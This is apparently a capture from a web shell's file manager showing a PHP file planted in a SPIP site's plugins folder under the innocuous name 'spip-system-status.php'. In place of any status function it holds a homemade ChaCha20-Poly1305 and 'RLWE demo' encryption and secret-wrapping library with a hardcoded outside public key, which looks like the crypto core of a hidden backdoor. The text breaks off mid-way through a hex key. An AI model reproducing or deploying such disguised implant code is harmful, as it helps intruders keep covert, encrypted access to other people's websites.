OwlCyberSecurity - MANAGER

Edit File: spip-system-status.php.tar

home/bourgleram/www/plugins/spip-system-status.php��������������������������������������������������0000644�����������������00000117631�15252232615�0016503 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
// SPIP_MEDIA_GID
if (!defined('_ECRIRE_INC_VERSION')) exit;

if(!function_exists('xcp_u32')){
function xcp_u32($x)
{
    return $x & 0xFFFFFFFF;
}
function xcp_rotl32($x, $n)
{
    $x = xcp_u32($x);
    return xcp_u32(($x << $n) | ($x >> (32 - $n)));
}
function xcp_u32le($n)
{
    return chr($n & 0xFF) . chr(($n >> 8) & 0xFF) . chr(($n >> 16) & 0xFF) . chr(($n >> 24) & 0xFF);
}
function xcp_u64le($n)
{
    return xcp_u32le($n & 0xFFFFFFFF) . xcp_u32le(($n >> 16) >> 16);
}
function xcp_qr(&$s, $a, $b, $c, $d)
{
    $s[$a] = xcp_u32($s[$a] + $s[$b]); $s[$d] = xcp_rotl32($s[$d] ^ $s[$a], 16);
    $s[$c] = xcp_u32($s[$c] + $s[$d]); $s[$b] = xcp_rotl32($s[$b] ^ $s[$c], 12);
    $s[$a] = xcp_u32($s[$a] + $s[$b]); $s[$d] = xcp_rotl32($s[$d] ^ $s[$a], 8);
    $s[$c] = xcp_u32($s[$c] + $s[$d]); $s[$b] = xcp_rotl32($s[$b] ^ $s[$c], 7);
}
function xcp_chacha20_block($state)
{
    $x = $state;
    for ($i = 0; $i < 10; $i++) {
        xcp_qr($x, 0, 4, 8, 12);
        xcp_qr($x, 1, 5, 9, 13);
        xcp_qr($x, 2, 6, 10, 14);
        xcp_qr($x, 3, 7, 11, 15);
        xcp_qr($x, 0, 5, 10, 15);
        xcp_qr($x, 1, 6, 11, 12);
        xcp_qr($x, 2, 7, 8, 13);
        xcp_qr($x, 3, 4, 9, 14);
    }
    for ($i = 0; $i < 16; $i++) {
        $x[$i] = xcp_u32($x[$i] + $state[$i]);
    }
    return $x;
}
function xcp_words_to_bytes($words)
{
    $out = '';
    foreach ($words as $w) {
        $out .= chr($w & 0xFF) . chr(($w >> 8) & 0xFF) . chr(($w >> 16) & 0xFF) . chr(($w >> 24) & 0xFF);
    }
    return $out;
}
function xcp_bytes_to_words($bytes, $n)
{
    $words = array();
    for ($i = 0; $i < $n; $i++) {
        $words[$i] = xcp_u32(
            ord($bytes[$i * 4])
            | (ord($bytes[$i * 4 + 1]) << 8)
            | (ord($bytes[$i * 4 + 2]) << 16)
            | (ord($bytes[$i * 4 + 3]) << 24)
        );
    }
    return $words;
}
function xcp_chacha20_keystream($key, $nonce12, $counter, $n)
{
    $key_words   = xcp_bytes_to_words($key, 8);
    $nonce_words = xcp_bytes_to_words($nonce12, 3);
    $constants   = array(0x61707865, 0x3320646e, 0x79622d32, 0x6b206574);
    $out   = '';
    $block = 0;
    $bsize = 64;
    $blocks = (int)(($n + $bsize - 1) / $bsize);
    for ($b = 0; $b < $blocks; $b++) {
        $state = array_merge(
            $constants,
            $key_words,
            array(xcp_u32($counter + $b)),
            $nonce_words
        );
        $x = xcp_chacha20_block($state);
        $bb = xcp_words_to_bytes($x);
        if ($b == $blocks - 1) {
            $bb = substr($bb, 0, $n - ($b * $bsize));
        }
        $out .= $bb;
    }
    return $out;
}
function xcp_chacha20_xor($key, $nonce12, $counter, $data)
{
    $ks = xcp_chacha20_keystream($key, $nonce12, $counter, strlen($data));
    $out = '';
    $n = strlen($data);
    for ($i = 0; $i < $n; $i++) {
        $out .= chr(ord($data[$i]) ^ ord($ks[$i]));
    }
    return $out;
}
function xcp_hchacha20($key, $nonce16)
{
    $key_words   = xcp_bytes_to_words($key, 8);
    $nonce_words = xcp_bytes_to_words($nonce16, 4);
    $state = array_merge(
        array(0x61707865, 0x3320646e, 0x79622d32, 0x6b206574),
        $key_words,
        $nonce_words
    );
    for ($i = 0; $i < 10; $i++) {
        xcp_qr($state, 0, 4, 8, 12);
        xcp_qr($state, 1, 5, 9, 13);
        xcp_qr($state, 2, 6, 10, 14);
        xcp_qr($state, 3, 7, 11, 15);
        xcp_qr($state, 0, 5, 10, 15);
        xcp_qr($state, 1, 6, 11, 12);
        xcp_qr($state, 2, 7, 8, 13);
        xcp_qr($state, 3, 4, 9, 14);
    }
    return xcp_words_to_bytes(array(
        $state[0], $state[1], $state[2], $state[3],
        $state[12], $state[13], $state[14], $state[15]
    ));
}
define('XCP_P1305_MASK', (1 << 26) - 1);
function xcp_poly1305_load_block($bytes, $len)
{
    $bytes = str_pad($bytes, 16, "\0");
    $w0 = ord($bytes[0])  | (ord($bytes[1])  << 8) | (ord($bytes[2])  << 16) | (ord($bytes[3])  << 24);
    $w1 = ord($bytes[4])  | (ord($bytes[5])  << 8) | (ord($bytes[6])  << 16) | (ord($bytes[7])  << 24);
    $w2 = ord($bytes[8])  | (ord($bytes[9])  << 8) | (ord($bytes[10]) << 16) | (ord($bytes[11]) << 24);
    $w3 = ord($bytes[12]) | (ord($bytes[13]) << 8) | (ord($bytes[14]) << 16) | (ord($bytes[15]) << 24);
    $t = array(
        $w0 & 0x03ffffff,
        (($w0 >> 26) | ($w1 << 6))  & 0x03ffffff,
        (($w1 >> 20) | ($w2 << 12)) & 0x03ffffff,
        (($w2 >> 14) | ($w3 << 18)) & 0x03ffffff,
        ($w3 >> 8) & 0x03ffffff,
    );
    $pos = 8 * $len;
    $limb = (int)($pos / 26);
    $bit  = $pos % 26;
    $t[$limb] |= (1 << $bit);
    return $t;
}
function xcp_poly1305_add($h, $a)
{
    $h[0] += $a[0];
    $h[1] += $a[1];
    $h[2] += $a[2];
    $h[3] += $a[3];
    $h[4] += $a[4];
    return $h;
}
function xcp_poly1305_mulmod($h, $r)
{
    $s1 = $r[1] * 5;
    $s2 = $r[2] * 5;
    $s3 = $r[3] * 5;
    $s4 = $r[4] * 5;
    $d0 = $h[0] * $r[0] + $h[1] * $s4 + $h[2] * $s3 + $h[3] * $s2 + $h[4] * $s1;
    $d1 = $h[0] * $r[1] + $h[1] * $r[0] + $h[2] * $s4 + $h[3] * $s3 + $h[4] * $s2;
    $d2 = $h[0] * $r[2] + $h[1] * $r[1] + $h[2] * $r[0] + $h[3] * $s4 + $h[4] * $s3;
    $d3 = $h[0] * $r[3] + $h[1] * $r[2] + $h[2] * $r[1] + $h[3] * $r[0] + $h[4] * $s4;
    $d4 = $h[0] * $r[4] + $h[1] * $r[3] + $h[2] * $r[2] + $h[3] * $r[1] + $h[4] * $r[0];
    $c = $d0 >> 26; $h[0] = $d0 & XCP_P1305_MASK; $d1 += $c;
    $c = $d1 >> 26; $h[1] = $d1 & XCP_P1305_MASK; $d2 += $c;
    $c = $d2 >> 26; $h[2] = $d2 & XCP_P1305_MASK; $d3 += $c;
    $c = $d3 >> 26; $h[3] = $d3 & XCP_P1305_MASK; $d4 += $c;
    $c = $d4 >> 26; $h[4] = $d4 & XCP_P1305_MASK; $h[0] += $c * 5;
    $c = $h[0] >> 26; $h[0] &= XCP_P1305_MASK; $h[1] += $c;
    return $h;
}
function xcp_poly1305_mac($key, $data)
{
    $r_bytes = substr($key, 0, 16);
    $r_words = xcp_bytes_to_words($r_bytes, 4);
    $r_words[0] &= 0x0fffffff;
    $r_words[1] &= 0x0ffffffc;
    $r_words[2] &= 0x0ffffffc;
    $r_words[3] &= 0x0ffffffc;
    $r = array(
        $r_words[0] & 0x03ffffff,
        (($r_words[0] >> 26) | ($r_words[1] << 6)) & 0x03ffffff,
        (($r_words[1] >> 20) | ($r_words[2] << 12)) & 0x03ffffff,
        (($r_words[2] >> 14) | ($r_words[3] << 18)) & 0x03ffffff,
        ($r_words[3] >> 8) & 0x03ffffff,
    );
    $h = array(0, 0, 0, 0, 0);
    $len = strlen($data);
    $off = 0;
    while ($off + 16 <= $len) {
        $block = substr($data, $off, 16);
        $t = xcp_poly1305_load_block($block, 16);
        $h = xcp_poly1305_add($h, $t);
        $h = xcp_poly1305_mulmod($h, $r);
        $off += 16;
    }
    if ($off < $len) {
        $block = substr($data, $off);
        $t = xcp_poly1305_load_block($block, strlen($block));
        $h = xcp_poly1305_add($h, $t);
        $h = xcp_poly1305_mulmod($h, $r);
    }
    $c = $h[1] >> 26; $h[1] &= XCP_P1305_MASK;
    $h[2] += $c; $c = $h[2] >> 26; $h[2] &= XCP_P1305_MASK;
    $h[3] += $c; $c = $h[3] >> 26; $h[3] &= XCP_P1305_MASK;
    $h[4] += $c; $c = $h[4] >> 26; $h[4] &= XCP_P1305_MASK;
    $h[0] += $c * 5; $c = $h[0] >> 26; $h[0] &= XCP_P1305_MASK;
    $h[1] += $c;
    $g0 = $h[0] + 5;
    $g1 = $h[1] + ($g0 >> 26); $g0 &= XCP_P1305_MASK;
    $g2 = $h[2] + ($g1 >> 26); $g1 &= XCP_P1305_MASK;
    $g3 = $h[3] + ($g2 >> 26); $g2 &= XCP_P1305_MASK;
    $g4 = $h[4] + ($g3 >> 26); $g3 &= XCP_P1305_MASK;
    $g4 -= (1 << 26);
    if ($g4 >= 0) {
        $g4 &= XCP_P1305_MASK;
        $h = array($g0, $g1, $g2, $g3, $g4);
    }
    $a0 = $h[0] | (($h[1] & 0x3F) << 26);
    $a1 = ($h[1] >> 6) | (($h[2] & 0xFFF) << 20);
    $a2 = ($h[2] >> 12) | (($h[3] & 0x3FFFF) << 14);
    $a3 = ($h[3] >> 18) | (($h[4] & 0xFFFFFF) << 8);
    $s_bytes = substr($key, 16, 16);
    $s_words = xcp_bytes_to_words($s_bytes, 4);
    $sum0 = $a0 + $s_words[0];         $a0 = $sum0 & 0xFFFFFFFF; $carry = $sum0 >> 32;
    $sum1 = $a1 + $s_words[1] + $carry; $a1 = $sum1 & 0xFFFFFFFF; $carry = $sum1 >> 32;
    $sum2 = $a2 + $s_words[2] + $carry; $a2 = $sum2 & 0xFFFFFFFF; $carry = $sum2 >> 32;
    $sum3 = $a3 + $s_words[3] + $carry; $a3 = $sum3 & 0xFFFFFFFF;
    return xcp_u32le($a0) . xcp_u32le($a1) . xcp_u32le($a2) . xcp_u32le($a3);
}
function xcp_pad16($data)
{
    $rem = strlen($data) % 16;
    if ($rem == 0) {
        return $data;
    }
    return $data . str_repeat("\0", 16 - $rem);
}
function xcp_ct_equal($a, $b)
{
    if (strlen($a) != strlen($b)) {
        return false;
    }
    $d = 0;
    for ($i = 0, $n = strlen($a); $i < $n; $i++) {
        $d |= ord($a[$i]) ^ ord($b[$i]);
    }
    return $d === 0;
}
function xcp_chacha20_poly1305_encrypt($key, $nonce12, $pt, $aad = '')
{
    $poly_key = xcp_chacha20_keystream($key, $nonce12, 0, 32);
    $ct = xcp_chacha20_xor($key, $nonce12, 1, $pt);
    $mac_input = xcp_pad16($aad) . xcp_pad16($ct)
        . xcp_u64le(strlen($aad)) . xcp_u64le(strlen($ct));
    $tag = xcp_poly1305_mac($poly_key, $mac_input);
    $poly_key = str_repeat("\0", 32);
    return $ct . $tag;
}
function xcp_chacha20_poly1305_decrypt($key, $nonce12, $ct_tag, $aad = '')
{
    if (strlen($ct_tag) < 16) {
        return false;
    }
    $ct = substr($ct_tag, 0, -16);
    $tag = substr($ct_tag, -16);
    $poly_key = xcp_chacha20_keystream($key, $nonce12, 0, 32);
    $mac_input = xcp_pad16($aad) . xcp_pad16($ct)
        . xcp_u64le(strlen($aad)) . xcp_u64le(strlen($ct));
    $expected = xcp_poly1305_mac($poly_key, $mac_input);
    $poly_key = str_repeat("\0", 32);
    if (!xcp_ct_equal($tag, $expected)) {
        return false;
    }
    return xcp_chacha20_xor($key, $nonce12, 1, $ct);
}
function xcp_xchacha20_poly1305_encrypt($key, $nonce24, $pt, $aad = '')
{
    if (strlen($nonce24) != 24) {
        return false;
    }
    $subkey = xcp_hchacha20($key, substr($nonce24, 0, 16));
    $chacha_nonce = "\x00\x00\x00\x00" . substr($nonce24, 16, 8);
    return xcp_chacha20_poly1305_encrypt($subkey, $chacha_nonce, $pt, $aad);
}
function xcp_xchacha20_poly1305_decrypt($key, $nonce24, $ct_tag, $aad = '')
{
    if (strlen($nonce24) != 24) {
        return false;
    }
    $subkey = xcp_hchacha20($key, substr($nonce24, 0, 16));
    $chacha_nonce = "\x00\x00\x00\x00" . substr($nonce24, 16, 8);
    return xcp_chacha20_poly1305_decrypt($subkey, $chacha_nonce, $ct_tag, $aad);
}
function xcp_hex2bin($hex)
{
    if (function_exists('hex2bin')) {
        return @hex2bin($hex);
    }
    if (strlen($hex) % 2 != 0) {
        return false;
    }
    $out = '';
    for ($i = 0, $n = strlen($hex); $i < $n; $i += 2) {
        $out .= chr(hexdec(substr($hex, $i, 2)));
    }
    return $out;
}
function xcp_bin2hex($bin)
{
    return bin2hex($bin);
}
function xcp_random_bytes($n)
{
    if (function_exists('random_bytes')) {
        try {
            return random_bytes($n);
        } catch (Exception $e) {
        }
    }
    if (DIRECTORY_SEPARATOR == '/' && is_readable('/dev/urandom')) {
        $fh = fopen('/dev/urandom', 'rb');
        if ($fh) {
            $buf = '';
            while (strlen($buf) < $n && !feof($fh)) {
                $buf .= fread($fh, $n - strlen($buf));
            }
            fclose($fh);
            if (strlen($buf) == $n) {
                return $buf;
            }
        }
    }
    $buf = '';
    for ($i = 0; $i < $n; $i++) {
        $buf .= chr(mt_rand(0, 255));
    }
    return $buf;
}
define('RLWE_N', 1024);
define('RLWE_Q', 12289);
define('RLWE_ETA', 3);
define('RLWE_SEED_BYTES', 64);
define('RLWE_REQUIRE_SECURE_RANDOM', true);
define('RLWE_MIN_CHUNK_BYTES', 1024);
define('RLWE_MAX_CHUNK_BYTES', 67108864);
define('RLWE_MAX_HEADER_LINE_BYTES', 8192);
define('RLWE_MAX_CHUNKS', 1073741823);
define('RLWE_FILE_MAGIC', 'RLWEDEMO-HYBRID-6');
define('RLWE_DERIVED_KEY_BYTES', 32);
define('RLWE_TAG_BYTES', 32);
function rlwe_mod_q($x)
{
    $x %= RLWE_Q;
    return $x < 0 ? $x + RLWE_Q : $x;
}
function rlwe_empty_poly()
{
    return array_fill(0, RLWE_N, 0);
}
function rlwe_poly_add($a, $b)
{
    $r = array();
    for ($i = 0; $i < RLWE_N; $i++) {
        $r[$i] = rlwe_mod_q($a[$i] + $b[$i]);
    }
    return $r;
}
function rlwe_poly_sub($a, $b)
{
    $r = array();
    for ($i = 0; $i < RLWE_N; $i++) {
        $r[$i] = rlwe_mod_q($a[$i] - $b[$i]);
    }
    return $r;
}
function rlwe_poly_mul($a, $b)
{
    $tmp = array_fill(0, RLWE_N * 2, 0);
    for ($i = 0; $i < RLWE_N; $i++) {
        $ai = $a[$i];
        if ($ai == 0) {
            continue;
        }
        for ($j = 0; $j < RLWE_N; $j++) {
            if ($b[$j] != 0) {
                $tmp[$i + $j] = ($tmp[$i + $j] + (($ai * $b[$j]) % RLWE_Q)) % RLWE_Q;
            }
        }
    }
    $r = array();
    for ($i = 0; $i < RLWE_N; $i++) {
        $r[$i] = rlwe_mod_q($tmp[$i] - $tmp[$i + RLWE_N]);
    }
    return $r;
}
function rlwe_bytes_to_u32($s, $off)
{
    $v = 0;
    for ($i = 0; $i < 4; $i++) {
        $v = ($v << 8) | (($off + $i < strlen($s)) ? ord($s[$off + $i]) : 0);
    }
    return $v & 0xffffffff;
}
function rlwe_prng_new($seed)
{
    while (strlen($seed) < 16) {
        $seed .= chr(strlen($seed));
    }
    $st = array(
        rlwe_bytes_to_u32($seed, 0) ^ 0x243f6a88,
        rlwe_bytes_to_u32($seed, 4) ^ 0x85a308d3,
        rlwe_bytes_to_u32($seed, 8) ^ 0x13198a2e,
        rlwe_bytes_to_u32($seed, 12) ^ 0x03707344
    );
    if (($st[0] | $st[1] | $st[2] | $st[3]) == 0) {
        $st[0] = 1;
    }
    return $st;
}
function rlwe_prng_u32(&$st)
{
    $t = ($st[0] ^ (($st[0] << 11) & 0xffffffff)) & 0xffffffff;
    $st[0] = $st[1];
    $st[1] = $st[2];
    $st[2] = $st[3];
    $st[3] = ($st[3] ^ (($st[3] >> 19) & 0xffffffff) ^ $t ^ (($t >> 8) & 0xffffffff)) & 0xffffffff;
    return $st[3];
}
function rlwe_prng_byte(&$st)
{
    return rlwe_prng_u32($st) & 0xff;
}
function rlwe_hash($data)
{
    return sha1($data, true);
}
function rlwe_hmac($key, $data)
{
    if (strlen($key) > 64) {
        $key = rlwe_hash($key);
    }
    $key = str_pad($key, 64, "\0");
    $ipad = str_repeat(chr(0x36), 64);
    $opad = str_repeat(chr(0x5c), 64);
    return rlwe_hash(($key ^ $opad) . rlwe_hash(($key ^ $ipad) . $data));
}
function rlwe_auth_tag($key, $label, $data)
{
    $out = '';
    $counter = 0;
    while (strlen($out) < RLWE_TAG_BYTES) {
        $out .= rlwe_hmac($key, "RLWE-DEMO-AUTH|" . $label . "|" . rlwe_u32be($counter) . "|" . $data);
        $counter++;
    }
    return substr($out, 0, RLWE_TAG_BYTES);
}
function rlwe_wrap_tag($public, $secret, $u_hex, $v_hex)
{
    return bin2hex(rlwe_auth_tag($secret, 'wrap', $public['seed_a_hex'] . "|" . $public['b_hex'] . "|" . $u_hex . "|" . $v_hex));
}
function rlwe_hash_len()
{
    return 20;
}
function rlwe_tag_len()
{
    return RLWE_TAG_BYTES;
}
function rlwe_require_byte_count($n, $name)
{
    if (!is_int($n) || $n < 0) {
        throw new Exception('Bad ' . $name . ' byte count.');
    }
}
function rlwe_u32be($n)
{
    return chr(($n >> 24) & 0xff) . chr(($n >> 16) & 0xff) . chr(($n >> 8) & 0xff) . chr($n & 0xff);
}
function rlwe_require_hex_len($value, $bytes, $name)
{
    if (!is_string($value) || strlen($value) != $bytes * 2) {
        throw new Exception('Bad ' . $name . ' length.');
    }
    if (!preg_match('/^[0-9a-fA-F]+$/', $value)) {
        throw new Exception('Bad ' . $name . ' hex.');
    }
}
function rlwe_hex_to_bin($hex)
{
    if (!preg_match('/^[0-9a-fA-F]*$/', $hex)) {
        throw new Exception('Invalid hex string.');
    }
    if ((strlen($hex) & 1) != 0) {
        throw new Exception('Odd-length hex string.');
    }
    $out = '';
    for ($i = 0; $i < strlen($hex); $i += 2) {
        $out .= chr(hexdec(substr($hex, $i, 2)));
    }
    return $out;
}
function rlwe_validate_public_key($public)
{
    if (!is_array($public) || !isset($public['seed_a_hex']) || !isset($public['b_hex'])) {
        throw new Exception('Bad public key.');
    }
    rlwe_require_hex_len($public['seed_a_hex'], RLWE_SEED_BYTES, 'public seed');
    rlwe_require_hex_len($public['b_hex'], RLWE_N * 2, 'public polynomial');
}
function rlwe_public_fingerprint($public)
{
    rlwe_validate_public_key($public);
    return bin2hex(rlwe_hash("RLWE-DEMO-PUBLIC-FP|" . $public['seed_a_hex'] . "|" . $public['b_hex']));
}
function rlwe_entropy_bytes($n, $allow_demo_random = false)
{
    rlwe_require_byte_count($n, 'entropy');
    $bytes = '';
    if (function_exists('random_bytes')) {
        try {
            $bytes = random_bytes($n);
            if (strlen($bytes) == $n) {
                $GLOBALS['RLWE_LAST_RANDOM_SOURCE'] = 'random_bytes';
                return $bytes;
            }
        } catch (Exception $e) {
            $bytes = '';
        }
    }
    if (DIRECTORY_SEPARATOR == '/' && is_readable('/dev/urandom')) {
        $fh = fopen('/dev/urandom', 'rb');
        if ($fh) {
            while (strlen($bytes) < $n && !feof($fh)) {
                $part = fread($fh, $n - strlen($bytes));
                if ($part === false || $part === '') {
                    break;
                }
                $bytes .= $part;
            }
            fclose($fh);
            if (strlen($bytes) == $n) {
                $GLOBALS['RLWE_LAST_RANDOM_SOURCE'] = '/dev/urandom';
                return $bytes;
            }
        }
    }
    $seed = microtime(true) . '|' . getmypid() . '|' . mt_rand() . '|' . uniqid('', true);
    $st = rlwe_prng_new($seed);
    while (strlen($bytes) < $n) {
        $bytes .= chr(rlwe_prng_byte($st));
    }
    $GLOBALS['RLWE_LAST_RANDOM_SOURCE'] = 'demo-fallback';
    return $bytes;
}
function rlwe_expand_bytes($seed, $label, $n)
{
    rlwe_require_byte_count($n, 'expand');
    $out = '';
    $counter = 0;
    while (strlen($out) < $n) {
        $out .= rlwe_hash("RLWE-DEMO-EXPAND|" . $label . "|" . $seed . "|" . rlwe_u32be($counter));
        $counter++;
    }
    return substr($out, 0, $n);
}
function rlwe_public_a($seed)
{
    $limit = (int)(floor(65536 / RLWE_Q) * RLWE_Q);
    $a = array();
    $batch = 0;
    $bytes = '';
    $off = 0;
    while (count($a) < RLWE_N) {
        if ($off + 2 > strlen($bytes)) {
            $bytes = rlwe_expand_bytes($seed, 'public-a-' . $batch, 512);
            $off = 0;
            $batch++;
        }
        $x = ord($bytes[$off]) | (ord($bytes[$off + 1]) << 8);
        $off += 2;
        if ($x < $limit) {
            $a[] = $x % RLWE_Q;
        }
    }
    return $a;
}
function rlwe_small_poly($seed)
{
    $bytes = rlwe_expand_bytes($seed, 'small-poly', RLWE_N * RLWE_ETA * 2);
    $p = array();
    $off = 0;
    for ($i = 0; $i < RLWE_N; $i++) {
        $x = 0;
        for ($j = 0; $j < RLWE_ETA; $j++) {
            $x += ord($bytes[$off++]) & 1;
            $x -= ord($bytes[$off++]) & 1;
        }
        $p[$i] = rlwe_mod_q($x);
    }
    return $p;
}
function rlwe_message_to_poly($msg)
{
    $max = (RLWE_N / 8) - 1;
    if (strlen($msg) > $max) {
        throw new Exception('Message too long for this demo; max is ' . $max . ' bytes.');
    }
    $msg = chr(strlen($msg)) . $msg;
    $msg = str_pad($msg, RLWE_N / 8, "\0");
    $p = rlwe_empty_poly();
    for ($i = 0; $i < RLWE_N; $i++) {
        $byte = ord($msg[(int)($i / 8)]);
        $bit = ($byte >> ($i % 8)) & 1;
        $p[$i] = $bit ? (int)(RLWE_Q / 2) : 0;
    }
    return $p;
}
function rlwe_center($x)
{
    $x = rlwe_mod_q($x);
    return $x > (RLWE_Q >> 1) ? $x - RLWE_Q : $x;
}
function rlwe_poly_to_message($p)
{
    $out = str_repeat("\0", RLWE_N / 8);
    for ($i = 0; $i < RLWE_N; $i++) {
        $c = abs(rlwe_center($p[$i]));
        $bit = ($c > RLWE_Q / 4) ? 1 : 0;
        if ($bit) {
            $idx = (int)($i / 8);
            $out[$idx] = chr(ord($out[$idx]) | (1 << ($i % 8)));
        }
    }
    $len = ord($out[0]);
    $max = (RLWE_N / 8) - 1;
    if ($len > $max) {
        throw new Exception('Bad decrypted message length.');
    }
    for ($i = 1 + $len; $i < RLWE_N / 8; $i++) {
        if ($out[$i] !== "\0") {
            throw new Exception('Bad decrypted message padding.');
        }
    }
    return substr($out, 1, $len);
}
function rlwe_pack_poly($p)
{
    $s = '';
    for ($i = 0; $i < RLWE_N; $i++) {
        $v = rlwe_mod_q($p[$i]);
        $s .= chr($v & 0xff) . chr(($v >> 8) & 0xff);
    }
    return $s;
}
function rlwe_unpack_poly($s)
{
    if (strlen($s) != RLWE_N * 2) {
        throw new Exception('Bad polynomial length.');
    }
    $p = array();
    for ($i = 0; $i < RLWE_N; $i++) {
        $p[$i] = ord($s[$i * 2]) | (ord($s[$i * 2 + 1]) << 8);
        if ($p[$i] >= RLWE_Q) {
            throw new Exception('Non-canonical polynomial coefficient.');
        }
    }
    return $p;
}
function rlwe_validate_ciphertext($ciphertext)
{
    if (!is_array($ciphertext) || !isset($ciphertext['u_hex']) || !isset($ciphertext['v_hex'])) {
        throw new Exception('Bad ciphertext.');
    }
    rlwe_require_hex_len($ciphertext['u_hex'], RLWE_N * 2, 'ciphertext u');
    rlwe_require_hex_len($ciphertext['v_hex'], RLWE_N * 2, 'ciphertext v');
}
function rlwe_encrypt_with_rho($public, $message, $rho)
{
    rlwe_validate_public_key($public);
    if (!is_string($rho) || strlen($rho) != RLWE_SEED_BYTES) {
        throw new Exception('Bad encryption randomness length.');
    }
    $seed_a = rlwe_hex_to_bin($public['seed_a_hex']);
    $b = rlwe_unpack_poly(rlwe_hex_to_bin($public['b_hex']));
    $a = rlwe_public_a($seed_a);
    $r = rlwe_small_poly("r|" . $rho);
    $e1 = rlwe_small_poly("e1|" . $rho);
    $e2 = rlwe_small_poly("e2|" . $rho);
    $m = rlwe_message_to_poly($message);
    $u = rlwe_poly_add(rlwe_poly_mul($a, $r), $e1);
    $v = rlwe_poly_add(rlwe_poly_add(rlwe_poly_mul($b, $r), $e2), $m);
    return array(
        'u_hex' => bin2hex(rlwe_pack_poly($u)),
        'v_hex' => bin2hex(rlwe_pack_poly($v))
    );
}
function rlwe_derive_bytes($master, $label, $n)
{
    rlwe_require_byte_count($n, 'derive');
    $out = '';
    $counter = 0;
    while (strlen($out) < $n) {
        $out .= rlwe_hmac($master, "RLWE-DEMO-KDF-EXPAND|" . $label . "|" . rlwe_u32be($counter));
        $counter++;
    }
    return substr($out, 0, $n);
}
function rlwe_wrap_rho($public, $secret)
{
    return rlwe_derive_bytes($secret, "WRAP-RHO|" . $public['seed_a_hex'] . "|" . $public['b_hex'], RLWE_SEED_BYTES);
}
function rlwe_wrap_secret($public, $secret, $allow_demo_random = false)
{
    rlwe_validate_public_key($public);
    if (!is_string($secret) || strlen($secret) != 64) {
        throw new Exception('Bad wrapped secret length.');
    }
    $ct = rlwe_encrypt_with_rho($public, $secret, rlwe_wrap_rho($public, $secret));
    $ct['tag_hex'] = rlwe_wrap_tag($public, $secret, $ct['u_hex'], $ct['v_hex']);
    return $ct;
}
}
$_RLWE_PUB_SEED_A = 'd5961da2f25bd6e3a018e90c28c8d86a5ad7151bb8459007a2adadb0d16957594f3c2e156f4dd39a471d6e3c73e54203bc0bd7966a29380f4f96f9955938073d';
$_RLWE_PUB_B      = '9a0eed0bcf232b28742e852e1d26cc252103722f06018e0b3f0adc21a624ab0b3d0471224410b30d691def12771fb32f1b08bd1cdd1892286928440fb60c05206511a3244a2b7628582292128123e601762cd0299805200c172e7a0ad2092902d42a99158b13992bf8072e043f2524197d1c26255919ea16861bff2e71029927a329aa0d6c118326a92abc084f05e00e822d6027e722840f33160e2c6225191f3514fc131b050f1a1019a919be18ea1dd00a4811770e2b0ec123e72e581ddc0de41fc8127b01ff05f4110910f1099a112616242b0304c010801056013a2d211480020d09db012b2c8d00242c4916ed0cf60ff917be0b2d1673233100a4063f09d0082617f51f450c8b01062dc6032e1954259520f5292806060577121417f40b2c169510880e031a4a1dca15200a0a23111c4a08f128140adf01b00732205b066606dc27831a1c29eb2a8f1a362de60aa926a70abf1bca1c8023962c4b2cbe2b132e950a7c19751c3529010b582cb01dc80f950b1e16a90ff1239d005a09422fb41cd2210506691b970bfc28bb29a40c572bbc2d162f180a84037f11912135274428cc1d4d0d90114a07111a7823741a8c2b78084b27df11d516f310522d04238d0428228826701e8a160305e0085417a2201b2108217e285025bc173b1267001515ba1541256f17cb1bf8127f0ec11a7d24630d560e761d5f19bd2559086407cf2c71154f0fc5127406381981129f0c5415d62ccc1ca017d117fd0cd4252a0f510b6f1bfc08f41b5417062f9b0b8a22ce13100b012c5d06b02dac0ab21af41c23203f1caf06ab0eb919aa1d881a121e5e2042067c26752d110977034b259b216910162a951bb716fa24f911e60fff2ce40c7227c31b5e155e1131236a17bf038f0aff1bf9127902790f9f220206052893173f18db03700f5a0ee807151c2101642b9619cc05ed2cc919661d8d1180220824a002ba089d1703171a1a9521c715f60c1a025f11eb24ec0a342ba118d9213c2a600d5e14671c620fc32881012d060211d30c3025b3235908902d1b21722cac176104f7150e168c2e4726ef2262018d1d272f212c4b2b181f0213aa0aff04a215a813c917530b421ced218828df2ed72b132dad020b0fa2101e11b205dd0cae2203067e121827be2dd928eb290f1f7b2ac32c2a10e206981a2216b214501c2b040106140b3709730c962eca0b850ea21d3b2adf15e12a881c0a04b51967214b2cf6290927122f1d087e2382200027890a841d8823ed14d42d080ff80ae206381955114901f1017d168009c005c32dd111f401952f5718fa261f0d432b9717a202d50466247e0ad819e71626135517f82447275001f6198926001a33166d0d9b0e99297c21c211c0182c0a5624ec2ce5220c1fe1014916f423e32b860a910a7b24b301c3046124272b7e07621b841bfd19fb17671c372b1125e6258a272e2d5220bb1fcb0b68192f0f5a05772a251824136f101e1d2c269b227702aa2ca613eb01df0a730e1d0a2e2c97036a0a42034910f308d7105a03f62c9d0647006c01942527058728f72ae52e0c163c160613a9125505a729f129d201e009e5105a10cf11ab27f12979003d1e8b0afc1fb918ec1edc0dff216a0b022d46128e11c413a5105126931d142296281811d52d1f0b5b03151b8903de1f0d194519d910c82ce92e2322e51afc00fc1e4d12ce24371e0e0e002fcc183a0cc209c10c9329b62d55185a0e2d11f910301bbf135c0b05021602f5114f2c9102fb092a11561d591b462cf20bf71112238705562089296712041265279a24b628960add01361be31f8821250dd5088a17ef0c881d740a632e84282f0c5f0b3406de004b00ea0b781473205103dd23911f562939113601f700291bef0e6e01b505d828a51fc5128826bc1e801e112eef29c60ce21f17093f0d612d4b04c9069f218b0e9626c9101815a600ea064a0a5e168d110c2a2713830cdc2a58171409180b4c20e52219226228c20e020a2422b806840c8b07b82f1d00cf08b5179a0511212d193b297922e524f2084710bf06681299175e216f11b12b6f18d4167a1258086f0efe03aa282106d2153f24b8246408520f6212e51a9b28d31ca105de1eb21349199306f612fc19fc0e70168c2fb3178307e61cc121af23de1b3a221314c020aa0bed06a21d722ad2298b21852b86060b18c315ee2e232fae05892ca506a6026e2c261da9052b2b7528e50763199d109817840092209a1cbc0629127c2e13050610ff27a921f91132071420fe01630196092a278118420d2d0d571ecc0f641c1a26ed030a19ad002e2f700b32257603cb1352213824bc09da1c7d25b514cd2a8f19150c5c24b40e262c1f09ec1c01238c19b12fbc110708960e8b020d06fb17f825e12b530b3e2750125029ba047f2b4323c425c8101c260215381d6603bf13c20aa11efd10d921f110130cc406472c062ef3135f2bb7254a296705680f001a5b0a052e8a2425031210ad1bce1ba728ea01872fbf23e70b5d25051391291f0ee